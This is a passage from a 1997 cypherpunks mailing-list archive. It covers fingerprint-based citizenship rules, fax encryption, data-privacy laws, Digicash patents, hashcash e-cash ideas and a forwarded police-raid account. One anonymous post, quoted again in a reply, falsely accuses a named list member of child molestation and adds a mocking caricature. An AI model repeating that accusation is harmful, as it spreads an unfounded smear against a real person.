MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 12:37 PM 4/29/97 -0700, Mike Duvos thoughtfully wrote:

|A funny story in last night's Seattle Times...
|
|It seems the INS and FBI are unwilling to grant US citizenship to
|persons without legible fingerprints.

[snip]

Fingerprint escrow?

Does this mean that, ipso facto (I love it), physically challenged
individuals with missing or deformed hands are excluded regardless of other
qualifications? What a monstrosity of a rule!

Was this carried over the wire? AP?

|"This is not something we take lightly," said INS spokesperson
|Irene Mortensen. "We can't just arbitrarily give out citizenship
|to just anyone."
 
The fact that Irene Mortensen has citizenship at all proves her point.

Is it not possible to retroactively _remove_ the citizenship of such an
arrogant bureaucrat to test whether she could make the grade imposed on the
rest of the world's "refuse?"

"Dear Irene Mortensen:

We regret to inform you....."

Thanks, Mike, for the increase in BP.

Alec


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mrTXcnOk3dQ=
=JZZe
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 29 Apr 1997 19:15:07 -0700 (PDT)
To: John Young <jya@pipeline.com>
Subject: Re: Fax Security Program
In-Reply-To: <1.5.4.32.19970427175927.0075b2f8@pop.pipeline.com>
Message-ID: <3.0.1.32.19970429184138.0063fb50@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:59 PM 4/27/97 -0400, John Young wrote:
>The TV show "Computer Chronicles" Saturday featured
>various comm security products, one of which used a fax 
>encoding system with unusual capabilities to transmit color
>images, condensed text (say, a 30-page doc encoded
>on a single fax page) or any other digital data as visual
>clutter.
...
>We missed the name of the product and would appreciate
>hearing from anyone who did, or who knows of the product.

There was a long discussion / flamewar about a product like this
a year or three ago; you can check the archives.
This system sounds a bit more interesting than the one
that someone was touting the last time, but essentially 
any system like this will have a subset of the following steps
0) Scan and digitize the original into a file, if it's not already online.
1) Compress the file (often combined with Step 0.)
2) Encrypt the file
3) Represent the file as a bunch of bits, possibly pixels (needs to add enough
	redundancy to recover from errors in Steps 4 and 5,
	and government-mandated anti-fax-spamming citizen-identification :-)
4) Transmit the pixels using fax or modem or Internet protocols
5) Print onto paper and rescan (if receiver isn't a computer)
6) Recover the encrypted compressed file from the pixel representation
7) Decrypt the file, if encrypted
8) Decompress the file
9) Print onto paper, if desired.

Regular fax machines, and many scanners, combine steps 0 and 1;
regular fax skips steps 2, 3, 5, 6, and 7.
If the original is already a file, or is a more complex picture than G3 fax,
most products will use some proprietary representation, or maybe G4.
One snake-oil product used "Visual Encryption", which meant that they
represented the file as blocks of pixels, shuffled the pixels in some
not-blazingly-secure manner that had enough redundancy for error recovery,
and transmitted that.  

Alternatives: 
1) If you wanted to, you could do the pixel-representation before the 
encryption, and use strong encryption, but then you'd either need
to transmit directly to a computer instead of a fax machine or risk
major lossage from printing and rescanning, and you'd be encrypting far more
bits than you really need to, for no particular benefit -
unless your pixel-representation is a simple black/white pixel per bit
(i.e. you skipped the error correction or did it on the raw data.)
2) You could use a fax or modem to transmit the data as analog sound,
digitize and encrypt the sound, and transmit that over a modem or internet.
This has the advantage that you can use a regular fax machine and
it doesn't need to know you're playing with the audio, though if you
do it crudely you need to transmit a lot more bits,
unless you're using an ISDN connection which was already bits.
2a) You could "digitize" the sound by recognizing it as fax/modem tones and
demodulating into the original pixel-representation bits.
This can save you bandwidth (especially if you transmit your vanilla-9600-bps
fax signal over a 28.8kbps modem.)  Of course, if you were going to pay
to do that anyway, you probably should have just encrypted the data
on a PC and transmitted it by modem anyway instead of messing with Faxes.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Tue, 29 Apr 1997 19:03:54 -0700 (PDT)
To: Alec <camcc@abraxis.com>
Subject: Re: Fingerprint Stego
In-Reply-To: <199704291937.MAA08955@netcom23.netcom.com>
Message-ID: <3.0.1.32.19970429185605.00726388@intergate.net>
MIME-Version: 1.0
Content-Type: text/plain


At 05:04 PM 4/29/97 -0400, Alec wrote:

>Does this mean that, ipso facto (I love it), physically challenged
>individuals with missing or deformed hands are excluded regardless of other
>qualifications? What a monstrosity of a rule!

Georgia in fact has a mandated fingerprint requirement for obtaining a
driver's license.  Practices vary from station to station, but there have
been reports of handicapped or others who do not fingerprint properly being
denied a driver's license.


  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/
     




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 29 Apr 1997 19:14:02 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Data Privacy Laws
In-Reply-To: <v03007800af8b4d0ada5e@[207.167.93.63]>
Message-ID: <v0300780baf8c689da060@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 5:37 PM -0800 4/29/97, Ulf Möller wrote:
>> >   According to the Registrar's office, anyone who is processing personal
>> >   information, even as little as names and addresses received over the
>> >   Internet, could find themselves facing an unlimited fine in the higher
>> >   courts if they do not register with the Data Protection Registrar.
>
>> This is well known to most of us. Still, we periodically get "privacy
>> advocates" here on this list singing the praises of the various European
>> "data privacy laws" and urging other nations to adopt the same sorts of
>> laws.
>
>It is worth noting that the "Data Privacy Commissioners" in Germany
>(equivalent to the British Data Protection Registrar) are beginning to
>advocate technologies such as anonymous e-cash, pre-paid chipcards,
>pseudonyms, and of course encryption, rather than more laws.

This is very encouraging, if true. (Not that I doubt Ulf, but one must
always be careful in considering the plans and promises of government
entities.)

It would be especially nice (schon, or schoen--my Mac supports umlauts, of
course, but I never try to use them in ASCII posts) if Germany were to
abandon its control-freak stance toward the Internet and realize that "the
best cure for bad language is more language" and "sunlight is the best
disinfectant." (These are both well-known sayings about free speech.)

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 29 Apr 1997 16:36:05 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Bypassing the Digicash Patents
In-Reply-To: <v0302093eaf8be0697540@[139.167.130.246]>
Message-ID: <v03020974af8c24a07c52@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 5:35 pm -0400 on 4/29/97, Tim May wrote:

> This is  really for patent lawyers to argue,

Indeed, which is my point. If the patent lawyers are arguing, life is hard
for anyone trying to make  money with the technology the patents allegedly
cover.

Kind of like those "SLAPP" suits companies like to throw at "activists".
Remember PRZ? Same shit, different day. Economically, anyway.

> "Contributory infringement" is one possible avenue of going after such
> systems which bypass Chaum's patents, but this is a complicated issue.

See above. :-).

> I would guess that Chaum is also planning to try to get more comprehensive
> patents covering the "entire system" of using digital cash in financial
> transactions. Bad as software patents usually are, this trend is even worse.

Say amen, somebody. I personally think software patents are useless in the
long run, but they're still bad for business in the meantime. In which
meantime, until we can nonrepudiably pay people who invent financial crypto
protocols without the intervention of the nation-state, we need to live
with said patents.

> For the desired market for digital cash, that of black market and
> anarchistic transactions, ignoring the patents seems an obvious choice. For
> the hoity-toity bankers, they'll probably avoid such things completely.

There are lots of other "desired" transactions for digital bearer
certificates besides digital cash for black markets. Everything from
"collectables" (no accounting for taste, I suppose), to any current
financial instrument (and a few we haven't dreamed up yet), to micromoney
for those micromoney "mitochondria" I rant so much about. All of them will
be extremely economical because they're untraceable and still negotiable.
Nonrepudiable without the "assistance" of a nation-state.

Remember, proto-wings were evolved by pond-skimming insects so they could
skim across ponds faster. Eventually, when those proto-wings evolved into
actual wings, flying insects didn't need ponds anymore. With that idea in
mind, digital bearer certificates are going to have to interface with the
book entry world of meatspace for a while, in order to be convertable into
other assets. Eventually, at some point, those assets won't be book-entries
anymore.

<sfx: "slap!"> > I know which side I'm on, but I'm not sure which side Bob
is on. </sfx>

Bob just wants to make a buck. Something you don't have to worry about any
more about, anymore, Tim.
<he said, rubbing the red spot on his cheek...>

The point is, if it makes money it'll happen. If it doesn't make money, it
won't. Reality is not optional. Nation states are so powerful, requiring
the invention of strong cryptography to save us from their totalarian
excressance, because they can take our money at gunpoint. The reason they
can is because money can be traced, either in physical form, or lately, in
electronic book-entry form. The reason it can be traced is because our
economic system physically requires a nation state to enforce any
repudiation of its transaction protocols.  To punish fraud, in other words.

Financial cryptography saves us from the nation state not just because it
hides information about ourselves, but because it out-competes the old book
entry transaction system, especially in terms of non-repudiation. It
outcompetes the old system on it's own turf. Which means, of course, in
banks. "Hoity-toity" or otherwise.

Think about it this way. Personal computers didn't really start to kill
mainframes until they were networked into mainframes and could hoover data
out of them with impunity, and out-process the information. Excel killed
123 that much quicker because it could read .WK1 files transparently,
macros and all, and then do much more with it. Soon, this upcoming
"protocol conversion", between the net world of bearer certificates and the
meatspace world of book-entries, will be done by a financial trustee.

A trustee which will be, for all intents an purposes, and certainly in the
earlest stages of a digital bearer certificate infrastructure, a bank. The
hoity-toitier, the better, because they have the best reputation to rent to
transactions on the net. So, that means avoiding unpleasantneess, like
"cutting out" transactions on the net from a bank's shareholders by having
a bunch of separate entities, underwriters in other words, marketing and
validating the actual certificate transactions. That keeps Mrs. Grundy from
standing up in the bank's boardroom one afternoon and cancelling all the
net.porno operators' accounts, because they don't have accounts in the
bank. The underwriters do, and they underwrite certificates for thousands
of customers apiece, customers the underwriters don't even have know,
because the trustee is blindly passing those ATM and wire transactions to
the right banking correspondents on those networks, who in turn validate
their customers against their account base.


Anyway, getting back to the point, "avoiding unpleasantness" also means not
having patent lawyers sue those very essential "hoity-toity" trustee banks
for rediculous reasons, like patent infringement, actual or not.


Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 29 Apr 1997 18:00:17 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Crypto gambling
Message-ID: <V38X6D11w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


It has been brung to my attention that one of the horses running in this
Saturday's Kentucky Derby is named Crypto Star.  He already won the
Louisiana and Arkansas Derbys.

Vote Labour!!!

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Tue, 29 Apr 1997 20:56:44 -0700 (PDT)
To: John Young <jya@pipeline.com>
Subject: Re: Rejecting Dialog with Government Vermin
In-Reply-To: <1.5.4.32.19970430030645.008d391c@pop.pipeline.com>
Message-ID: <3.0.1.32.19970429205628.008a8cd0@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 11:06 PM 4/29/97 -0400, John Young wrote:

>So, Time-speaking a Declan, I nym drop that Cylink's board dined 
>this evening at the Harvard Club to admire Dr. Leo Guthart hiccuping
>the joys of bedding and gorging Sodom's delights -- the cost to be 
>written off thanks to DC/NY/CA/AR mutual scratch-fleas legally
>sanctioned worldwide: the need and deed of two-back gov and biz.

Are you sure you have not been channeling Dr. Bronner?

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAwUBM2bCx+QCP3v30CeZAQFNoQf+JSpZCmg8h/rbOJ7ZhzCB0OI3PTo+2J3a
TF1JI0BCb/4uV8oUbQiyB5S//fQ+85CMgo0bHbxIl9uGgYjpPYneVWObRVjYCgAR
SbichdrGx/M7sSsbIfPS1wv1Ov3XCJpL8z+8JbTljvBw0mXZUEasdwRW/W4rfoeT
O9WVcFGR7LY6PbfqYPVFiNYG3X7kqZoAH7kCLjObgj3bRp+mQeb/cUTaKcZoZWUn
tKHaUio+PnERzuiogFXvOCgwELyFQ3OEortcUDRAOTXrhqIO1VdQPIwEf8NjUUPu
Q06P91d4vebbsJJvxLwe5NH15/h3ucL5CkrHGU/qyLXC+Ii5UL055Q==
=iAum
-----END PGP SIGNATURE-----

---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 29 Apr 1997 22:38:19 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Cyclic codes
Message-ID: <199704300538.WAA00247@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Given Timmy Mayo's propensity to molest little children, is it 
any surprise that the state of California wants to have him 
castrated?

    _
   >@) Timmy Mayo
   (V(_
   ^^\<





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 29 Apr 1997 20:08:30 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Rejecting Dialog with Government Vermin
Message-ID: <1.5.4.32.19970430030645.008d391c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Sure DC is a swamp and NYC is a cesspool, but it's their lakes 
of shit that keep hungry dogs from the outback coming to feed. 
To hack politics, spin lies, hawk IPOs and Wall Steal from 
W&O. Both burgs draw never ending packs to plot the peddling 
of useless news and armaments and laws and fortune cookies --
all the SOS for which most countries need only one capital hole but 
for which America needs two to handle demand.

In that vein, I bet Declan learns to love Manhattan via Time's 
irresistable harem and ungents. All journalists, especially those 
doing duty in DC and CA, aspire to the cessmost of presspools.

So, Time-speaking a Declan, I nym drop that Cylink's board dined 
this evening at the Harvard Club to admire Dr. Leo Guthart hiccuping
the joys of bedding and gorging Sodom's delights -- the cost to be 
written off thanks to DC/NY/CA/AR mutual scratch-fleas legally
sanctioned worldwide: the need and deed of two-back gov and biz.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 29 Apr 1997 23:40:29 -0700 (PDT)
To: Robert Hettinga <cypherpunks@toad.com
Subject: Software patents
Message-ID: <3.0.32.19970429233202.0070b8e4@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:30 PM 4/29/97 -0400, Robert Hettinga wrote:
>Anyway, getting back to the point, "avoiding unpleasantness" also means not
>having patent lawyers sue those very essential "hoity-toity" trustee banks
>for rediculous reasons, like patent infringement, actual or not.

There is a simple way to prevent patent lawyers from suing you for supposed
patent infringement. Distribute your software from a jurisdiction in which
software patents do not exist. South Africa is one of many such jurisdictions.

Anecdote: at a conference, I asked a patent attorney what strategy to
follow if your patented technology is only happening in the client
software. He looked at me like I was drooling on myself and said: "Uhm...
Well... Then you have a problem."

IANAL, but I suppose the best strategy for the owners of a shaky software
patent would be to make people believe that their technology is patented in
many more jurisdictions than it actually is.

Have fun,


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Tue, 29 Apr 1997 23:42:38 -0700 (PDT)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: Cyclic codes
In-Reply-To: <199704300538.WAA00247@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970430004206.171678B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 29 Apr 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Given Timmy Mayo's propensity to molest little children, is it 
> any surprise that the state of California wants to have him 
> castrated?
> 
>     _
>    >@) Timmy Mayo
>    (V(_
>    ^^\<
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 30 Apr 1997 01:04:05 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Citizen Units
Message-ID: <199704300804.BAA06655@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May wrote:

> These no-knock dawn raids are becoming de rigeur. I'm surprised Jim Bell
> was raided at the late hour of 9 a.m. I'm also somewhat surprised there was
> no gunfire at his house.

  They were waiting for the Search Warrant to be signed, to make
sure they had their asses covered.
  The fact that it was dated on March 28 (?) means little. Judges 
regularly predate warrants upon the basis of a need to protect
sources. Most court systems leave a few document numbers free
each day for future predating of warrants, affadavits, etc.

  Judges and JP's have many legal requirements to meet in most
procedures, ones which they totally ignore for the most part, 
yet I have yet to see any lawyer challenge the sloppy bullshit 
that stems from their failure to follow proper judicial procedure
in the behind-the-scenes paperwork.
  The bottom line is that even the best of lawyers fear judges
that they know they will have to face again, and they don't
want every court ruling to go against them for the next ten
years.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Wed, 30 Apr 1997 00:15:50 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Rejecting Dialog with Government Vermin
Message-ID: <199704300715.DAA31556@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


John Young wrote:
 
> So, Time-speaking a Declan, I nym drop that Cylink's board dined
> this evening at the Harvard Club to admire Dr. Leo Guthart hiccuping
> the joys of bedding and gorging Sodom's delights -- the cost to be
> written off thanks to DC/NY/CA/AR mutual scratch-fleas legally
> sanctioned worldwide: the need and deed of two-back gov and biz.

  John's getting better drugs than I am.

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 3umoelle@informatik.uni-hamburg.de (Ulf =?ISO-8859-1?Q?M=F6ller?=)
Date: Tue, 29 Apr 1997 18:39:35 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Data Privacy Laws
In-Reply-To: <v03007800af8b4d0ada5e@[207.167.93.63]>
Message-ID: <m0wMOKd-0003b7C@ulf.mali.sub.org>
MIME-Version: 1.0
Content-Type: text/plain


> >   According to the Registrar's office, anyone who is processing personal
> >   information, even as little as names and addresses received over the
> >   Internet, could find themselves facing an unlimited fine in the higher
> >   courts if they do not register with the Data Protection Registrar.

> This is well known to most of us. Still, we periodically get "privacy
> advocates" here on this list singing the praises of the various European
> "data privacy laws" and urging other nations to adopt the same sorts of
> laws.

It is worth noting that the "Data Privacy Commissioners" in Germany
(equivalent to the British Data Protection Registrar) are beginning to
advocate technologies such as anonymous e-cash, pre-paid chipcards,
pseudonyms, and of course encryption, rather than more laws.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 29 Apr 1997 21:59:11 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Citizen Units
Message-ID: <199704300459.GAA12692@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Forwarded from another mailing list...

---------- Forwarded message ----------
Date: Thu, 24 Apr 1997 13:54:16 -0700 (PDT)
From: Dale Seago <itachi@crl4.crl.com>
To: (distribution deleted)
Subject: On The Importance Of "Image"

<snip>

A few weeks ago one of my dojo students, Rex Biteng, took some
photos to be used in an article for a on-line magazine for which
Rex writes. The photos featured Rex, another of my students named
Robert Candelaria, and a friend of theirs holding some firearms
owned (quite legally) by this third party.

Rex took the photos to a chain called Costco, which offers a photo
developing service (okay, you can see it coming already, right?).
Next thing he knows, people at his bank are telling him that police
of- ficers have been showing these photos around and asking
questions about his financial affairs. According to Rex, before he
picked up the devel- oped photos, someone had seen the guns, called
the police, and said they had some photos of gang members with
guns.

Rex asked me whether I thought he should get a lawyer and go after
Costco, and my response was "definitely". Rex is in the middle of
the hiring process to become an officer with the San Francisco Po-
lice Department, and I warned him that this would almost certainly
arise and bite him when they got to the background investigation
phase. He ultimately decided to drop the matter: figured that he
didn't have the money for a lawyer, wasn't interested in creating
further problems or getting anyone in trouble, and the police
hadn't bothered to con- tact and talk with HIM so apparently the
matter had been dropped. Then I received his e-mail message, below:

---------- Forwarded message ----------
Date: Mon, 21 Apr 1997 13:22:58 -0800
From: (Rex Biteng)
To: dale seago <itachi@crl.com>
Subject: It happened!!!!

Dale,

Hows it going there??? Well, let me tell you of the recent drama.
Feel free to tell anyone you want. At 0700 this morning the santa
rosa pd, rohnert park pd, and the sonoma sherriffs (gang task
force) raided Robert and my house simultaneously. It was very
depressing. A full swat team with their mp-5's and riot shot-guns
compleate with their kevlar helmets, black bdu-s and  riot shields
put my brother, me, my uncle (who is a retired Philippine Marine
officer and saw combat duty during his service), and my old
grandfather, in hand-cuffs face down. Let me tell you that it is a
very scary feeling to have a mp-5 with the safty off pointed at
your back when you are truly innocent. They served me a search
warrant and confiscated my brothers telescopic baton, my black
ruck-sack which included my black bdu's and my tabi that I use for
Bujinkan and a photo album of mine with some of the gun pictures in
it. It's funny because in that same albulm I have my Guardian Angel
pictures in there plus some pictures of when I was at Airborne
school in ft. Benning.
I told them the whole story and I even had to explain my bdu's that
I use for Bujinkan. The investigator told me 'as if he was a expert
in the martial arts' that dosen't your dojo use gi's and have
ranking systems. I had to explain that Bujinkan is not a normal
style that he was use to.  In fact, One of the investigatiors who I
will not say, treated me as if I was a dumb unintelligent nit.
Trying to make me say things that were not true. I even had to
explain about a little ninja dash ornament that Jason and I have in
mine and his car. I told them about having an attorney present but
he just told me that if i had nothing to hide to tell him the
information that I knew. So I told them everything. Apparently, I
guess you now have to prove your innocence instead of being
innocent untill proven guilty.
I don't know how Robert faired because I haven't been able to talk
to him yet. But I'll keep you up to date on what happens.

Your Bujinkan Warrior,
Rex

                        (End of forwarded message)
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _

The following night in the dojo I also was able to get Robert's
side of things. Pretty much the same story: They cuffed Robert and
told his father and stepmother to get out, at which point Robert's
62-year- old stepmother sort of "lost it" and snapped back to her
girlhood in France, when the Nazi soldiers came to her village and
behaved the same way. She actually attacked one of these modern
ones and knocked the fine German-made HK MP5 submachine gun out of
his hands.

No firearms were found at either residence, and no one was taken
into custody. They tried to question Robert, but he informed them
that they were welcome to search for the items specified on the
warrant, but that if they found nothing and wished to question him
about anything else, they would have to arrest him and take him to
the station, whereupon he would answer questions only in the
presence of an attorney.

What, specifically, were they looking for? Following are ex- tracts
from the search warrant:

                        STATE OF CALIFORNIA
                          COUNTY OF SONOMA
                           SEARCH WARRANT

PEOPLE OF THE STATE OF CALIFORNIA, to any sheriff, policeman, or
peace officer in the County of Sonoma:
PROOF, by affidavit, having been made before me by DEPUTY
(deleted), SONOMA COUNTY SHERIFF'S DEPARTMENT, that there is
probable cause to believe that the property described herein may be
found at the locations set forth herein and that it is seizable
pursuant to Penal Code 1524, as indicated below by "X"(s), in that
it:

                (3 of 5 possible choices were "x'd")

  X     was used as the means of committing a felony

  X     is possessed by a person with the intent to use it as a means of
        committing a public offense or is possessed by another to whom he
        may have delivered it for the purpose of concealing it or
        preventing its discovery

  X     is evidence which tends to show that a felony has been committed
        or a particular person has committed a felony

        you are therefore COMMANDED TO SEARCH the premises located at
        and described as: (followed by addresses and descriptions of
        Rex's & Robert'sresidences and vehicles) and the persons of
        (followed by Rex's & Robert's names and physical descriptions;
        and)

        3. Subject #3, the person depicted in the attached photographs,
should he be present at either location; for the following property:

        1. AK-47 variant, 7.62x39 with Choate handguards and thumb hole
stock with thirty round magazine. This weapon is defined as an assault
weapon by 12276(a)(1) PC, which covers the AK-47 and all of its variants;
        2. Chicom SKS, 7.62x39 with folding stock and thirty round de-
tachable magazine. This weapon is defined as an assault weapon by 12276
(a)(11) PC, when it has a detachable magazine;
        3. Any miscellaneous gun pieces, ammunition, gun cleaning items
or kits, holsters, ammunition belts, original box packaging, targets,
expended pieces of lead, photographs of firearms or any paper work show-
ing the purchase, storage, disposition or dominion or control over any
guns, ammunition or any of the above items;
        4. Articles of personal property tending to establish the ident-
ity of persons in control of any premises, storage areas or containers
being searched, such as utility company receipts, rent receipts, charge
card receipts, tax receipts, airplane tickets and other receipts, checks,
deposit slips, savings account passbooks, passports, drivers licenses,
vehicle registrations/titles, land titles, escrow papers, legal docu-
ments, Social Security cards, Food Stamps, Medi-Cal cards, insurance
bills and/or policies, medical records, prescriptions and prescription
bottles, doctor bills, hospital bills, cancelled mail, addressed envel-
opes, photographs, weapons with serial numbers, keys and safes;
        5. To search and/or seize any and all computer equipment, in-
cluding any and all storage media, either hardware or software, located
within said residence for evidence relating to this crime;
        6. Any and all electronic day planners located within said res-
idence for any and all evidence pertaining to this crime;
        You are authorized to defeat any and all security and/or pass-
words; and to SEIZE it if found and bring it forthwith before me, or
this court, at the courthouse of this court.

                (signed by the issuing magistrate)
                    (end of warrant excerpts)

The firearms in question, as I mentioned earlier, are actually
owned by a friend of Rex's & Robert's in the Sacramento area.
Robert told the Naz. . I mean, the Nice Officers who the individual
is and where he lives. How did the folks in the Sacramento
jurisdiction handle it with this third guy? Couple o' folks came to
his house, talked with him, looked at the weapons and determined
that they either are not the statutorily defined assault weapons
mentioned in the warrant (it IS hard to distinguish a lot of these
carbines from each other from a pho- tograph alone); or, if they
are the weapons described, they are none- theless legally possessed
by the owner. And they left, with no arrest of confiscations.

Rex, Robert, and their respective families should at this point (in
my humble lay opinion) have excellent cases against both Costco
(for slander and defamation; also for loss of future income in
Rex's case if the San Francisco Police Department now refuses to
hire him) and (at least) the Sonoma County Sheriff's department. An
important as- pect of self-defense (and of ninpo, for that matter)
is to have the right sorts of connections to get things done, and
I've contacted an attorney who is interested in looking into the
matter. For the record: Yes, I most certainly WILL "go to war",
metaphorically speaking, for my people.

Regards,
Dale Seago
======================================================================






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 30 Apr 1997 03:56:49 -0700 (PDT)
To: rah@shipwright.com
Subject: Re: Bypassing the Digicash Patents
In-Reply-To: <v03020974af8c24a07c52@[139.167.130.246]>
Message-ID: <199704300909.KAA00664@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Robert Hettinga <rah@shipwright.com> writes:
> Remember, proto-wings were evolved by pond-skimming insects so they could
> skim across ponds faster. Eventually, when those proto-wings evolved into
> actual wings, flying insects didn't need ponds anymore. With that idea in
> mind, digital bearer certificates are going to have to interface with the
> book entry world of meatspace for a while, in order to be convertable into
> other assets. Eventually, at some point, those assets won't be book-entries
> anymore.

No offense Bob, but your pose takes some reading, too full of
metaphors, but I grok what you're saying, and the topic discussed here
I find interesting.

How about this, rather than interface your ecash system with US
dollars yourself through credit cards/ debit cards/ cheques / cash,
just set up an entirely disconnected system.

You may remember the digicash trial mint.  It was monopoly money,
theoretically it was worthless.  However people were selling freebees
for it (the odd T-shirt, cap etc), plus images, programs.  Also it was
collectable in the sense that there was a limited mint.

The unofficial digicash exchange was set up and some transactions took
place.  People were buying and selling the monopoly money for real
money, without digicash having to worry about the legality of the
interface to existing payment systems.  The black market/ unoffcial
market took care of it.  Also the internet casino is interesting in
relation to this.  They accept many payment forms, if they started
accepting our "net cash" (net in the sense that it only means anything
directly in terms of the net), then you could exchange cash by playing
some low rake off game such as roulette.  (Just keep betting on black,
the commision is the house slot, and you take your chips away in real
world currency).

The cryptographic requirements for a system such as this would be:

 1) anonymous (privacy preserving, payee and payer anonymous
 2) distributed (to make it hard to shut down)
 3) have some built in scarcity
 4) require no trust of any one individual
 5) preferably offline (difficult to do with pure software)
 6) reusable

My ideas so far are hashcash (where the scarcity is related to your
processing power).  (See http://www.dcs.ex.ac.uk/~aba/hashcash/)
However this makes for hyper-inflation because of the rapid increase
in CPU power.  

hashcash is not directly transferable because to make it distributed,
each service provider accepts payment only in cash created for them.

You could perhaps setup a digicash style mint (with chaumian ecash)
and have the bank only mint cash on receipt of hash collisions
addressed to it.

However this means you've got to trust the bank not to mint unlimited
amounts of money for it's own use.

